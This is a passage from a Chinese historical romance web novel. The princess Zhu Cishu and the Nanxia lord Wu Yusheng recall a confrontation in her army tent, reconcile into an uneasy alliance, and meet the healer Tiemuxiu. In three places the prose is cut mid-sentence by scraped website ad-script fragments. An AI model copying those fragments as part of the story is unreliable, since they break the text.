乌玉胜的声音突然从她身后传来,她顺着声往后一看,只见他傲然立在院门口,也不知这样待了多久。微风同样吹动了他的衣袖与发梢,在风吹起时,她看向那双熟悉的深棕色眼眸,看清了他眼底的情意,好似与少年时所见并无不同。 朱辞秋突然很想问他一句,乌玉胜,若是你,你会如何选? 她走向乌玉胜,乌玉胜亦走向她。 乌玉胜好似知道她心中在想什么,停在离她一寸之地,低首看向她,语气轻柔又和缓,“殿下如何选,我便如何选。” “若我,与你母亲,选择是一样的呢?” 乌玉胜挑眉,摇了摇头,笃定道:“殿下不会。” 他眼神里那些偏执与恶劣都不复存在,就连方才木屋中的旖旎情意都淡了下来藏于深处,眼中唯有真挚坚定,仿佛即使海枯石烂,他仍不改其心。 朱辞秋听见他再次重复了一遍:“殿下不会。” “从见殿下的第一眼,我便知,殿下从不会视万民于蝼蚁。” 她不禁觉得有些好笑,嘴角勾起,心中想着,他们初见不过只是永乐墙上匆匆一面,又怎能看出这些来?更何况那时的她也只是个沉溺于自身苦难,觉得这世间她是最艰苦之人的心境中,又如何有此大志? 两人沉默须臾,朱辞秋回望了一眼站在原地踟蹰不前的穆照盈,又看向面前的男人,轻声道:“走吧。” 乌玉胜只专心盯着她,缓缓说出一个“好”字。 “阿胜!”穆照盈冲下台阶,猛地喊出声,“你,还会再来吗?娘已经许久未曾好好见过你了……今日,留下来吃顿饭吧?我烧了你最爱吃的肉汤……” “我已经不爱吃肉汤了。” 乌玉胜拉着朱辞秋的手,头也不回地踏出了院子,朝外走去。 林中的风不止,太阳也被阴云遮住,眼看山雨欲来,乌玉胜拉着她,走得愈发快。待远离木屋后,他却缓缓放开了她的手,脚步放缓走在她身后。 道路的两旁的守卫如旧,她却在其中一名守卫身旁看见了一匹白马,那并不是乌玉胜常骑的那匹马。 乌玉胜吹了声哨子,守卫身旁正在吃草的马便朝他飞奔而来,在他身旁蹭了蹭。乌玉胜摸着马 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 儿的头,顺了顺毛发,扭头看向朱辞秋,开口道:“它叫白玉,是西琳养的。” “诃仁说此处不让骑马入内。”她看着这匹格外乖巧的马,忽然开口。 “我从未有过什么信仰,也不信天神,自然不惧一切。”乌玉胜率先上马,朝她伸出手,“殿下,上来。” 她看了眼伸在她面前的宽大手掌,又不自觉看向乌玉胜的背,犹豫一瞬后还是搭着乌玉胜的手,被他抱上了马背,又把她圈在怀中。 乌玉胜拽紧缰绳,轻喊了一声“驾”,身下的白玉便立马飞驰,两旁景色迅速变化,只一小会的功夫,他们便出了林子,走入大道。 天神山外围的守卫似乎换了一批,朱辞秋并未瞧见昨日那领头的守卫。他们头也不抬,就像看不见中间飞驰而过的马儿与人一般,只专心守着大门,犹如雕塑。 乌玉胜骑马的速度忽然放缓,拽着缰绳的手松了一刻,朱辞秋立马拉住他的手,不让他倒下去。 “无妨。”他直起身,往朱辞秋身上靠了靠,将下巴抵在她肩上,在她耳边轻声道,“殿下,我饿了。” 朱辞秋抬头看了眼天,估摸着午时刚过,她已一天未曾进过食,想来乌玉胜日夜兼程,吃饭的时候更少。又看向一旁的溪流,里头有些小鱼,但她并不会做,也叉不上来。 乌玉胜忽然只用一只手拽着缰绳,另一只手从怀中掏出一包用油纸包着的东西,递到她怀中,“酥饼。” 她打开了油纸包,里头的酥饼竟还是完好无损的,就连碎渣都少见,不由得开口问道:“这你哪儿来的?” “我饿了,殿下。”乌玉胜用下巴戳了戳她的肩,逃避了她的问题,只一个劲儿地说饿。她沉默须臾,拿起一块酥饼,猛地塞入身后这人嘴中,叫他有些猝不及防,呛得险些将酥饼吐了出来。 “还饿吗?” 乌玉胜点了点头,“不过殿下先吃,我吃殿下剩下的就好。” “乌玉胜,”她忽然喊了他一声,微微一笑,“你是话本看多了?还是受伤连着把脑子都伤坏了?你还真以为,你我同盟了就能如往昔般相处?” “如今都已说清,为何不能。”乌玉胜声音冷淡了下来,似乎有些生气。 她笑了笑,“若是四年前,那自然是能的。可如今你已是南夏少主,而我注定要回到大雍。南夏与大雍,不论何时,都是敌非友。” 马蹄声渐小,乌玉胜拽紧缰绳,忽然让白玉停在原地。 “殿下,你就没想过,有朝一日大雍和南夏,真的能签订合盟,保百年和平吗?”乌玉胜坐直身子,开口道。 朱辞秋看向乌玉胜拽着缰绳的手,又盯着手中的酥饼,沉默一瞬后开口道:“你也说了,那是有朝一日。若真有那日,你我说不定也还能再续前缘。” “世上奇异之事千千万,殿下何不愿再信此一事?” “乌图勒与朱煊贺,他们也说要保两地百年和平,可结果呢?”她顿了顿,又道,“南夏人流离失所者万余户,大雍长邑十三州皆沦为俘虏,这还不够,朱煊贺还要挑起大雍内乱,乌图勒呢,他想要代替朱煊贺,成为这天下之主,所以任由我在这南夏胡作非为,探听真相。他知道我回到大雍,自会替他与朱煊贺作对,到那时朱煊贺自顾不暇,而他黄雀在后,率王军进攻大雍,直捣黄龙。” “而你,乌玉胜。你阻止不了他,他在南夏苦心经营这么多年,绝非你与诃仁一朝一夕能够撼动的。你自以为铲除了眼线与暗桩,自以为安插了无数人手,可那又如何呢?你如今除了当年那些真相,可知道如今他在想什么?在做什么?” “朱煊贺在蜀地时,并非只靠南夏巫术与乌图勒。同理,乌图勒在南夏夺权统一之时,也并非只靠蛮力与朱煊贺的助力。” 她轻笑一声,“恐怕我来此处,一言一行都皆在乌图勒的掌控之中。” 其实这些她早前并未想通,也是在看了那些书信,问了穆照盈那两个问题后,才恍然大悟。 乌玉胜沉默半晌,连握紧缰绳的手都松了紧,紧了又松,良久,他才低沉开口:“我也并非毫无收获。” 她将手中的酥饼往嘴里送了一小块,吃完后轻声道:“你们南夏的事我管不着,也不必同我讲。我的当务之急,是回王都。” 话音未落,她突然想起方才乌玉胜那恶劣的一幕,又再次补充道:“顾霜昶来此,并非只为押送贡品入南夏。我去见他,只为问大雍近况。” “大雍近况我也知,殿下何不问我?”乌玉胜冷着脸,双腿打马,马蹄声再度响起,她在乌玉胜怀中,听见这样一句话后不自觉挑了挑眉,道,“是吗?那我父皇如何?” 乌玉胜沉默半晌,才道:“皇家宫围,我的人进不去。” “但顾霜昶进得去。他祖上三代都扎根在燕京,想来对于政权更迭之事再熟悉不过。我见他,只为此事,你莫要再发疯。”朱辞秋为不让乌玉胜坏事,难得好脾气地重复地解释了好几句。 “建昌九年除夕,殿下与他互通书信,互道新春安康。”乌玉胜的话音飘散在空中,随着逐渐变凉的天气一同飘入她耳中,惹得她攥紧了油纸包,打了个寒颤。 乌玉胜似乎感觉到她有些冷,便又往前蹭了蹭,坚硬有力的胸膛紧紧贴着她的背,两只胳膊也几乎将呼啸的风挡住。 “殿下在边塞几年,他就给殿下写了几年的信。殿下从未给我写过如此频繁的信,连我送往公主府的信件,殿下都回的极少。” 朱辞秋愣住一瞬,忽然冷声开口:“你监视我。” 怪不得,怪不得建昌九年除夕那夜,乌玉胜不惧风雪地猛然出现在她营帐内。 那年除夕格外冷,山门关的风雪连续下了一个月,那一个月的雪冻死了南夏不少牛羊与战马,让他们暂时无暇顾及大雍,也让山门关的将士们过了一个好年。 山门关内的百姓挨家挨户煮了饺子,纷纷端到营地门口要请将士们吃除夕饺子,说是去晦气,保证来年必胜的好兆头。 将士们已经许久未曾吃过热和的白面饺子了。而朱辞秋站上城墙,观察了许久身旁的副将也说南夏今夜肯定也无动静,于是她便特许了那一夜,让将士们拖着空余的帐包,将帐篷搭好后,让山门关内的百姓端着热乎的饺子住进新搭好的帐篷。 百姓与将士们,就着一顿并不富裕的饺子,过了一个除夕。 她没有去帐篷里,离开城楼后便直奔了寝帐,却在里头瞧见了一位不速之客。 也不知他是如何进来的。 47.第四十七话 军营帐外寒风凛冽,吹动了不远处成群的枯树。朱辞秋站在寝帐门口,主动伸手接过身后副将手中,百姓们盛给她的热乎乎的饺子。 她低头看了一眼手中的饺子,挥手屏退身后与寝帐门口的守卫。 “此处一个时辰后再派人值守。”她看向身后的副将,继续道,“莫忘了给瞭望台的兄弟们也端去几盘饺子,叫他们暖和暖和。” “是!” 待身后几人行过礼走后,她正欲掀开帘帐,却忽然觉得周围有些异样,便微微蹙眉,一脸警惕地再次扭头看向身后,却见天上又飘起大雪,在照明的火把下随着寒风飘落在地上。 这场雪,下了整整一个月。下的南夏都无心进攻。 这般想着时,她放松些许警惕,缓缓掀开帘帐,入了内。帐内的烛火不算明亮,四周一片寂静,只有炭火噼里啪啦燃烧着的声音。 她将手中那盘热腾腾的饺子放在炭火旁的木桌上,取下身上的狐裘,因着方才在帐外察觉到的那一丝异样,于是左右环顾又走动探查了几下。见无甚异常后,便习惯性拿起桌案上的一本未曾看完的兵书,坐在炭火旁的木凳上翻动着。 可刚翻开一页,朱辞秋骤然看向手中翻开的那一页,待看清书页中夹着的物件后,她猛地合上书,站起身警惕地望向四周。 书中,夹着一片小纸条,上面写了一句话:殿下,新春安康。 除此之外,还有一个小红福穗子,福字扁扁的,绣得歪七扭八,就像是不熟练却又十分尽力绣成的成品。 那纸条上的字迹,她再熟悉不过。 “滚出来。”她手中紧紧攥着那本兵书,视线定在帘帐处,沉默须臾后,冷着脸开口。 话音落下,四周仍是只有炭火燃烧的声音,她靠近帘帐,似乎还能听见风雪打在枯枝与帐篷上的细微声音。 “殿下。” 身后突然传来熟悉又陌生的声音,令她心中猛地一顿,又迅速反应过来,闻声望去时,乌玉胜正拍着身上的尘土,立在床边沉着脸,“若非有守卫护着,殿下如此微弱的警觉性,在边塞活不过三日。” 床侧无光,乌玉胜隐藏在黑暗中,唯有那双谁棕色的眼眸闪着异样的光彩。就像是,在深山冬日的黑夜中,等待猎物自投罗网,双眼闪着翠绿色的光的恶狼。 朱辞秋看了一眼乌玉胜,又看了一眼床榻之下的位置,并不回答他的话,只冷笑道:“南夏少主喜欢半夜爬人床底下刺探军情?” “朱辞秋!” “放肆!”她面无表情地站在原地,声音骤然大了一度,“区区蛮夷之子,也配叫本宫名讳?” 闻言,乌玉胜眼中的凶光更甚。他走出黑暗,站在她面前,眼底的乌青更显得他在这昏暗的帐内如鬼魅一般。他死死地盯着她,滔天的恨意自他眼中涌出,却又刺入她心底。 “我如今是蛮夷之子,入不得殿下眼。”他从身后掏出一封书信,摊开了竖在她面前,冷声道,“顾大人宰辅之相,未来前途不可限量,所以他自然能入殿下眼,与殿下互道新春安康。” 朱辞秋皱起眉头,面无表情地看着乌玉胜。等他说完后,抬手欲夺过书信,但那书信却被他高高举起,她怎么也触碰不到。于是便放下手,理了理衣裳,将手中书册中夹着的纸条与小福穗子取了出来,亮在乌玉胜面前。 她将小福穗子在乌玉胜面前晃了晃,侧身越过他,坐回原位后,在火光下细细打量着这奇丑无比的穗子,语气淡淡道:“看来这军中的细作果然还未铲除干净,如今竟还能叫你悄无声息地溜进来。” “我无需细作接应,也能神不知鬼不觉地入关。”乌玉胜坐在她对面,火光照映在他脸上,忽明忽暗,他盯着她把玩着穗子,笃定的语气让朱辞秋愈发厌恶,说出的话也让她猛然看向他。 “这边塞,我比大雍任何人都要熟悉。” “你今夜来此,究竟要做什么?”她冷着脸,将穗子放在手心紧紧攥着,语气愈发冰冷。 “自然是,来祝殿下,”乌玉胜顿了顿,将手中那封顾霜昶写给她的新春贺词放入炭火之中,顷刻间,便化成了灰。他掀起眼皮,眼中闪过恶劣的光,嘴角却勾起笑意,“新春安康。” 朱辞秋看着被烧成灰的书信,蹙起好看的眉头,一脸厌恶地看向乌玉胜。那信是她今日午时才收到的,里头也未写什么要紧的东西,便随意地放在桌案上,未曾收起来。 倒叫溜进来的乌玉胜看个正着,这厮不知道又在发什么疯。这已不是他第一次溜进此处了,早前她曾使计收拾了一批细作,不论是燕京的还是南夏的,她都将其铲除,军中这才勉强干净了。 在此之前,自乌玉胜出现在南夏阵前,她这寝帐,已被他溜入过三次。这次,还是她除尽细作后,乌玉胜第一次溜入此处。 她不想回忆第一次看见他出现在寝帐内的情形,只抬头看向如今的乌玉胜,见他眼中恶劣又冷漠的眼神更甚以往,心中不免觉得厌烦,只是那些厌烦的深处,还多了一丝她自己都不愿察觉的难过。 “如今你们南夏牛羊兵马冻死上万,你却在这祝我新春安康,真是有趣。”她笑了笑,笑容在火光下生辉,眼神却冰冷无情。 乌玉胜似乎在看见她的笑容时愣怔一瞬,随即道:“即使再冻死上万头牛羊,那些南夏士兵,也并不会因此缺衣少食。殿下,可要警惕些。” 她冷眼看向乌玉胜,手中的小福穗子被她越攥越紧,“你以为我军中的斥侯是吃素的?我无须你在此处提醒我什么。若不想被我斩之,趁早滚回去。” “倘若殿下真的不顾念旧情,早就该将我一剑斩之,而非叫我滚回去。”乌玉胜挑眉,似乎很笃定。 “不杀你,是因为你有用。”朱辞秋松开了攥着小福穗子的手,将穗子放在手中把玩着,“你如今分明对大雍边塞了如指掌,可却迟迟攻不下山门关,总叫我军有喘息之机。” “是少主你,对我余情未了。”她看着他面上愈发阴狠的表情,忽然觉得心情很好,毫不避讳地随意说出几句话来,“我自然得多多利用少主,让我军掌握更多南夏战况,好让我夺回十三州,也叫你们为我大雍所有死去的将士偿命。” 乌玉胜坐直身子,冷着脸沉默半晌后,忽然开口:“十三州,殿下夺不回去。” “闭嘴。”朱辞秋眼露凶光,语气也带着冰刺,可乌玉胜却直勾勾地看着她的眼睛,重复了一句,“殿下,你夺不回十三州。” 她静默须臾,忽然笑了,“乌玉胜,我虽未生长在边塞,也并未十几年都扎根在战场之上,但我也知,骄兵必败。” “我今日来此,不是来与你吵架的。”乌玉胜冷着脸,戾气愈发严重,“若是顾霜昶在此,你岂不是要与他同吃这一盘新春饺子。” 朱辞秋闻言,看向放在一旁的,早已冷透的饺子,想起了营地门口新搭好的帐篷内,那些热气腾腾,烛火通明下,露出 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 爽朗笑声的百姓们。她再度看向乌玉胜,看向这个寂静万分,又无比昏暗阴冷的环境,忽然觉得有些冷。 顾霜昶在信中说,等她得胜回朝,要与顾霜翎一同,亲手给她做一顿接风洗尘宴。好友间的热闹,她已许久未曾感受过,于是她看着乌玉胜,粲然一笑,“若他在,此处还有你什么事?” “若他在,我会杀了他。” “你敢!” “殿下,我如今身份,杀一个大雍人,有何不敢?”乌玉胜冷笑一声,“况且我杀的大雍人,还不够多吗?” “南夏少主,真是好大的威风。”她冷漠地看向乌玉胜,语气冷淡。 帐外呼啸的寒风似乎吹的更厉害了,面前的炭火已不足,朱辞秋身上一股冷意,让她不自觉地拢了拢衣裳,站起身自顾自地披上了狐裘,恰在此时,她看见乌玉胜也站起身,不顾她阻拦,强硬又无礼地将他身上的披风披在她身上。 她闻到乌玉胜身上的味道愣了一下,二人间的剑拔弩张似乎也因这一举动,减淡了些许。但她却清醒的知道,这是错觉。 她与乌玉胜,早已有说不开的话,道不明的事,中间隔着家国,即使有情,也要绝情。可人非草木,她若真要绝情,也是极难的。 “我今夜来此,只为祝殿下新春安康,平安,顺遂。”乌玉胜将披风给她系好后,一直待在她面前,轻声说着话,“殿下,我可以放过大雍。” “嫁给我,我就放过殿下的子民。” 朱辞秋抬头望向他的眼,觉得他疯了。她打落他摸着披风系带的手,往后退了两步,冷漠道:“乌玉胜,你知道你自己在说什么吗?” “殿下,你无法阻止燕京的酒囊饭袋暗中作梗。”乌玉胜站在原地,面容隐在烛火下,“即便你有万千招数,南夏健硕之士远超大雍,兵马也比大雍多一倍,后方粮草补给如流水般送入军营。” “你守不住的,龙虎关战败后,就已告诉殿下了,你守不住这边塞。” “守不住?”朱辞秋冷笑,“世上之事千万,我却从不信这些提前笃定的言论。无人敢拼,那我便去拼。即便是我死,我也要看看,这天下,究竟是不是真的烂的生了脓疮,无药可治。” 乌玉胜闻言,沉默半晌。他忽然单膝下跪,以大雍之礼待她,语气却含着威胁:“殿下,你若嫁给我,我可以放过你的子民。” “我也能替殿下,除尽脓疮。” 她看着乌玉胜,觉得好笑,便嘲讽道:“本宫不止要这些。本宫要无上权力、万里疆土,也要南夏对本宫俯首称臣,少主,给得起吗?” 乌玉胜望着她,好似当了真,“臣愿以万里江山嗯作聘礼,迎殿下入,南夏。” “骗子。”朱辞秋勾唇一笑,将乌玉胜的披风解开扔在地上,又踹了他一脚。她拔出腰间的匕首,弯腰将匕首抵在他咽喉处,轻轻地划了一下,留下一串细小的血珠,“乌玉胜,你真可笑。大半夜来此,竟然只为说出此事。” “滚回你的南夏去,若再出现在我面前,我可不会再留你性命了。” 后来如何,朱辞秋有些忘了。只记得除夕后,她再也没见过乌玉胜,直到军中弹尽粮绝,她向燕京妥协。 又扭头看向如今在她身后拉着缰绳的乌玉胜,她才知道,当年那句,守不住十三州,是怎样的实情。 “乌玉胜。” “嗯?” “当年为何,不愿告诉我实情。” 48.第四十八话 乌玉胜握着缰绳的手一颤,好似也想起了当年之事。 他放缓了驾马的速度,他们顺着太阳走,阳光照在他们脸上,两侧微风卷起树木青草香,吹动两人的衣袖,就连发丝被风吹动,在光下交缠在一起。 这样平静祥和的氛围,让朱辞秋觉得他们之间的那些,声嘶力竭的争吵与仇恨,在不知不觉间悄然消失了一般。 “大雍内忧外患经年之久,若不将其彻底抽筋剥皮铲除烂死的腐肉,大雍国灭,是迟早的事。就算我不告诉殿下这一切的真相,殿下也深知这一点。”乌玉胜的声音缓缓而来,好似早前恶劣的语气在温熙的阳光下,都化为乌有,只余淡然与平静。 “殿下在边塞那么久,正因为听见了看清了这世间万万疾苦,所以更想为身后之人挡住刀光剑影。”他突然低首,离她更近,“所以我知道,以殿下的性子,若得知这一切,便不会再放过任何一个人。” “即使搭上殿下自己的性命,殿下也会替天下黎民,问他们一个公道。” “可是殿下,当年燕京的人虎视眈眈地盯着你,南夏也不愿给你一丝喘息之机,那段日子,”乌玉胜又望向已近在咫尺的天池,顿了顿,语气竟多了些苦涩,“那段日子,我每次,都在暗处观察着殿下。殿下一日比一日憔悴消瘦,就连素日合身的衣裳,都变得有些宽大。” “那时我就在想,镇守边关,抵御外敌本不是殿下的职责。殿下本该在公主府中吃着茶水果子,与闺中好友谈笑夜话,不愁风雨。而不是在风沙弥漫又苦寒无比的西北,吃尽苦头。” 朱辞秋闻言,垂眸看向自己的双手。那是一双从未做过粗重活路的手,只有右手上,有着两道因写字、做女红而留下的薄茧。 “我在燕京,看着那些在雕栏玉砌中的和平假象,听着那些在皇室与世家口中的太平盛世,也曾以为大雍有雄鹰之师,战胜南夏指日可待。” 但有些事情,总要亲身经历一番,才能知道,原来捷报上一句轻飘飘的大获全胜,是怎样的艰难。也终于能够明白,那些高门贵族口中,究竟编织着怎样的谎言,诓骗世人。 “我知道殿下怨恨我当年不告实情与你,可我也想怨一怨殿下,竟真能如此狠心,放我生死自灭。”乌玉胜听见她所言,声音变得有些沙哑,还带着点不易察觉的委屈。 “大雍败后,若殿下归京,只会被万人唾骂厌弃,朱煊贺也断然不会留殿下,只会再添一把火,让朝臣替他讨伐殿下,要殿下以死谢罪。” “所以,”她抬起眼皮,替乌玉胜说出剩下的话,“你就要我入南夏,和亲。” “可乌玉胜,我在南夏,如蝼蚁牲畜,万人皆可踩。”她对着阳光轻抬右手,看向自己手心那道再也消散不了的伤疤,“前朝和安公主入丹蒙国和亲,被人当作舞姬娼妓,住在牲畜圈数年,受万人折辱,供人玩乐,到死时公主浑身上下没有一块好肉,最终被活生生折磨死。就连带入丹蒙的侍从奴婢,都被五马分尸。” “乌玉胜,你根本护不住我。” “若乌图勒无称霸之心,我早在见他的第一面,便如和安公主般,生不如死。” 话语间,她趁着乌玉胜驾马的速度放缓时,往前挪了挪身子,却仍能感受到身后的男人紧紧贴着她。如此紧密的距离,几乎连风都透不进来。她感觉乌玉胜胸腔内的心跳声仿佛透过衣物与血肉,与她相连在一起,叫她刹那间,在那一刻,分不清那到底是她的心跳声还是乌玉胜的。 乌玉胜忽然勒紧缰绳,那叫白玉的马儿立马停了下来。 他们就这样待在原地,沉默良久。 “对不起。” “是我错了。” 乌玉胜低沉沙哑的声音将一切都淡然处之的朱辞秋划开一条缝,挣扎的痛苦顷刻而出。 她听见这句话的那一瞬,心突然跳了一下,抬起的右手不自觉垂下来,紧攥成拳头,指甲抠着伤疤,痛意袭来,叫她心口一缩。 身后的男人突然翻身下马,抓起她的右手,轻轻地掰开她紧抠着伤疤的手指。他握着她的手,手指在伤疤处不停地摩挲,乌玉胜抬着头,浓密的睫毛在阳光下一颤一颤的,双眼通红,悔意翻滚。 他忽然低首,在她手心落下轻轻一吻。温热柔软的唇瓣抵在她手心,她觉得有些痒。与此同时,似乎有一滴湿热的泪水滴在她手心。 朱辞秋一愣,如从空中坠落般,心狠狠为之一颤,却又像被人攥住,叫她喘不过来气。 她皱起好看的眉头,看向乌玉胜时嘴角绷得愈发紧,心跳不受控制地愈发急促,那种酥麻格外难耐的感觉勾着她,叫她猛然偏头,不愿再看乌玉胜一眼。想要缩回手,却又被乌玉胜拽着动不了。 “我原以为我能的,可那段时日,周边部落与十三州的事太过繁琐复杂,我脱不开身。后来能脱身了,殿下早已受尽了折辱。即使我惩治了那些恶徒,也无法弥补殿下。” 乌玉胜将脸埋在她手心,沉闷的声音传入她耳中,叫她愈发烦躁,可她却又不知,为何烦躁。 “饶是如此,你仍旧要留我在南夏。乌玉胜,你是不是想着,若有一日真相大白,我便能与你冰释前嫌,重修旧好?”朱辞秋冷笑一声,心里愈发觉得堵,连语气都带了几分怒意,“可我不会,我只会觉得,你在操纵我。” “不是的,不是的,殿下。”乌玉胜摇头,“自龙虎关后,殿下从未与我好言相待过,甚至只有与殿下争吵时,殿下才会施舍与我一个眼神。” “我放不下,放不下那些曾经过往,却又改变不了现状,只能这样,一直错下去。” “改变不了?”朱辞秋冷笑一声,“你只不过是喜欢充英雄罢了。可我不吃这套,也不喜欢被人莫名其妙地保护着,更遑论你根本没护我周全。” 即使面上这样说着,可她当然也知道,在这南夏,若非乌玉胜一直相护,她绝不可能如现在这般安全,毕竟乌图勒,只让她不死在南夏,而不是叫她毫发无损。 但她仍讨厌,讨厌这样的自作主张。 因为她本来,不该在这南夏苟且偷生。 “对不起——” “够了!”朱辞秋发现,乌玉胜总能比常人要容易惹她生气,“你除了对不起,还会说什么。” “殿下,我知道,过往之事是我不对,是我该死。我不求殿下原谅我,只求殿下,能偶尔赏我一个笑脸,不要叫我再嫉妒顾霜昶。” 乌玉胜突然抬起头,双眼坚定地看向她,“我知道,我做了许多混账事。我杀了很多大雍人 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ,我也,对不起十三州任何一人。可我仍旧卑劣地希望,希望殿下觉得我尚且有价值,与我同盟,而非选择乌玉阙。” “殿下,我再不会瞒你任何一件事,若有违此言,我不得好死。” “从此,我只臣服于殿下。” 朱辞秋侧着头,听见这些话,冷笑一声,想说一句这些誓言都是狗屁。 那些曾做过的事,并不会因这一句两句誓言而改变,就像死去的人,再也不可能回来了。她是怨乌玉胜的,即使那并非乌玉胜本意,即使那是他们谁也无法拯救挽回的局面。 可却不自觉地偏过头,看着乌玉胜如今的模样时,心中的烦躁忽然少了些,却又多了些莫名的伤心,连她都不知,这伤心从何而起。 此时满眼都是她的乌玉胜,就像是记忆中开朗炽热的少年终于长大成人,长成如今坚定沉稳的模样。 不是伪装,不是嘲讽。而是隔了四年时光,她终于真的看见了乌玉胜被阴鸷恶劣包裹住的,本该真切炽热的心。 他就像是朽木突然开窍,整个人变得明朗清晰,不再拧巴别扭了。 朱辞秋在心中暗想,这一顿打,乌玉胜挨得很值。 “既如此,”她沉默半晌,想起了许多事,也想到许多人。 大雍的当权者给不了黎民盛世,那些牛鬼蛇神为一己之权至天下难安,故土分裂,南夏与大雍皆山雨欲来,忠奸难辨。 而她身边唯有乌玉胜,尚且可一信。 所以她看向他,突然抽走手,又朝身后一瞥,淡淡道,“过往之事,暂且不咎。” 乌玉胜眼神一亮,驱散了多年的阴鸷。 她低首垂眸,自上而下俯视着乌玉胜,即使是异域的衣衫,也挡不住她天潢贵胄的姿态。 “我要见阿静雅,她在何处?” “在王都。” “走吧,小少主。” “殿下,叫我阿胜。”乌玉胜翻身上马,轻声道。 朱辞秋勾唇一笑,语气不明道:“不好听。” “可殿下从未十分亲密地叫过我。” “是吗?” “即便我名唤穆……”乌玉胜突然停住话茬,生硬地跳过了那个名字。 朱辞秋沉默须臾,不欲理他,却忽然想起什么,于是又开口道:“你知道,当年我养的那条小狗,叫什么名字吗?” 未等乌玉胜回答,她便自顾自道:“它叫汶关。” 汶关,在燕京城郊。 朱煊安还未继位前,曾带她去过一次汶关,带她去见了开得最好的桃花林。 那小狗,也是朱煊安偷偷送给她的。 如今小狗死了,朱煊安……也要死了。 乌玉胜单手拽着缰绳,另一只手握住她的手,脑袋在她肩上蹭一蹭的,好似在无声地安慰她。 因着乌玉胜身上的伤还未好全,驾马的速度虽并不快,却也要比走路快上许多,不过六七日便回到了铁木修的住处。 到铁木修住处时,西琳给她拿了新衣裳,朱辞秋梳洗后想起自己还未吃新一月的回转丹解药,便伸着手找铁木修讨要。 铁木修正站在厨案边在择菜,听见她要解药后一脸惊讶,“什么?!你还要?!乌玉胜没给你吗?!” 49.第四十九话 “行了。”铁木修朝乌玉胜摆手,示意他出去,见他毫无动静后便看向朱辞秋,“啧”了一声,不耐烦道,“你说说,我又没问你二人的事,他来插什么嘴?你快叫他出去,等我问完自会将你还给他。” 铁木修这做派,显然是大声说给乌玉胜本人听的,但这厮却仍只拉着她,双眼直勾勾的盯着她,活像一副两耳不闻窗外事的模样。 朱辞秋看向铁木修,微微一笑。又扭头看了一眼乌玉胜,顺着他冒出些胡渣的下巴往下看,将视线定格在他还未来得及换的衣衫上。 她一面抽走自己的手,一面平淡道:“少主若无要事,不如先去更换衣衫,顺便将纱布也换一换。” “你身上的伤,还未好全。” 乌玉胜的双眼本因她刻意支走的话而黯淡一瞬,却又在听见下一句话时瞬间抬眼,想上前抓着她的手腕,不过这次却被她巧然躲开。 如今他的手落了空,却并不恼了。只是愣愣的待在原地看着她,眼中情绪波动,唇齿微启,好像有些话想对她想说,可过了一会儿,他也只是说了三个字:“谢殿下。” 朱辞秋挑了挑眉,用眼神示意了门口。 待乌玉胜走后,铁木修又“啧”了一声,“这南夏未来的王主,竟如哈巴狗一般赖着大雍的公主,实在是荒唐。” “老先生,你还要问何事?” 她不理睬铁木修的话,只淡淡问了句。 铁木修自觉无趣,瘪了瘪嘴,道:“杜世安的徒弟,有无婚配?” 朱辞秋一愣,随即反应过来,他这是想给那个一直养在身边的孤女做媒。 “我与他只一面之缘,并不知此事。” “那你觉得西琳如何?”铁木修又问。 “我与她,也相处不多。”朱辞秋老实回答,“老先生,两个素未谋面又相隔两地之人,你就不要替他们牵红线了。” “谁说他们相隔两地了?!”铁木修吹胡子瞪眼,“他们是见过的!” “哦?” “当年,杜世安来过霞山谷,住了一年。”铁木修似乎想起什么往事,神色黯淡下来,用缓慢的语气诉说着陈年往事,“南夏没有年号,只是杜世安来的那年,谷内的奇异花草开得特别好。他身边跟着个粉雕玉琢的小娃娃,我身边有个整日埋在草药堆里的西琳。年纪相仿,性格也互补,很快便玩到一块去了。” “人老了,记不得太多事情了。只记得杜世安喜欢叫他团团,那小子说等长大了要娶西琳,如今这句话都一直勾得我家西琳整日魂不守舍,每日看向谷口的方向,望眼欲穿。十几年了,始终不见他人影。” 等铁木修说完,屋内寂静须臾。 “老先生与杜大夫十几年互通书信,却不曾问过一句关于杜与惟的事?”朱辞秋挑眉,沉声问道。 铁木修本要说出的话一下便卡在嗓子眼,再也吐不出来。 “老先生,你的目的,是想让我将西琳带着离谷吧?”她掀起眼皮,朝铁木修勾唇一笑,华贵之态毫不掩饰。 屋内又安静半晌。 “不愧是大雍的公主啊,确实不算是个脑子锈木之人。”铁木修大笑两声,又道,“怪不得你能守住大雍三年。” 朱辞秋不置可否。不是她聪明,只是话语间的漏洞百出罢了。或许又真如铁木修所言,他真是人老了,记不住事,记不得她来的那日便已跟她说明了他与杜世安互通书信,才会说出这样的故事来哄骗她。 但能与杜世安相交之人,想必不会糊涂至此。于是她便开口一问:“老先生为何不直截了当地同我讲?何必如此拐弯抹角引我察觉你的真实目的。” “你们大雍不是讲究个,以情动人吗?”铁木修顿了顿,苍老布满褶皱的脸上露出狡黠的神色,这样的神色,本应在一个苍老的老人脸上显得有些不伦不类才对。可不知怎的,又在这张老则老矣,却仍异域十足的脸上意外和谐。 “老先生,以情动人可不是编故事。”她左右看了下,见着一旁有两张凳子,便坐在凳子上理了理衣衫,看向铁木修,淡然开口,“为何想让我带西琳出霞山谷?” 铁木修抬头看向门外,屋外那些早已看腻的景色倒映在他眼底,语气带着些不易察觉的怅然,缓缓开口:“孩子大了,总要去看看外头的天地。” “在此处,有何不好?”朱辞秋道,“不愁吃穿,不惧战火,如世外桃源一般的安逸恬静之地,外界不知多少人求之不得。” “天下八万里,山川湖海何其多啊。”铁木修看向她,“总要去看一看,感受一下大好河川。若是一生都拘在这个地方,拘在这个所谓的世外桃源,那才真是白活了。” “外界之人朝不保夕,太平之日不知何日可见。连绵战火染透山河,早已不复大好河山。”朱辞秋声音冷淡,“也就是南夏,山川湖泊如旧时之景,尚可一观。霞山谷就在南夏,你们随时可出谷赏景,何必叫我带她出去呢?” “倘若,她想去大雍呢?” “她为何想去大雍?” 铁木修沉默一瞬,叹了口气,“她是真的,很喜欢杜世安那小徒弟。” “但也只是想去,见他一面。” 朱辞秋闻言,怔住一瞬,开口问道:“老先生,就如此笃定我会回到大雍?若是我回不去呢?” 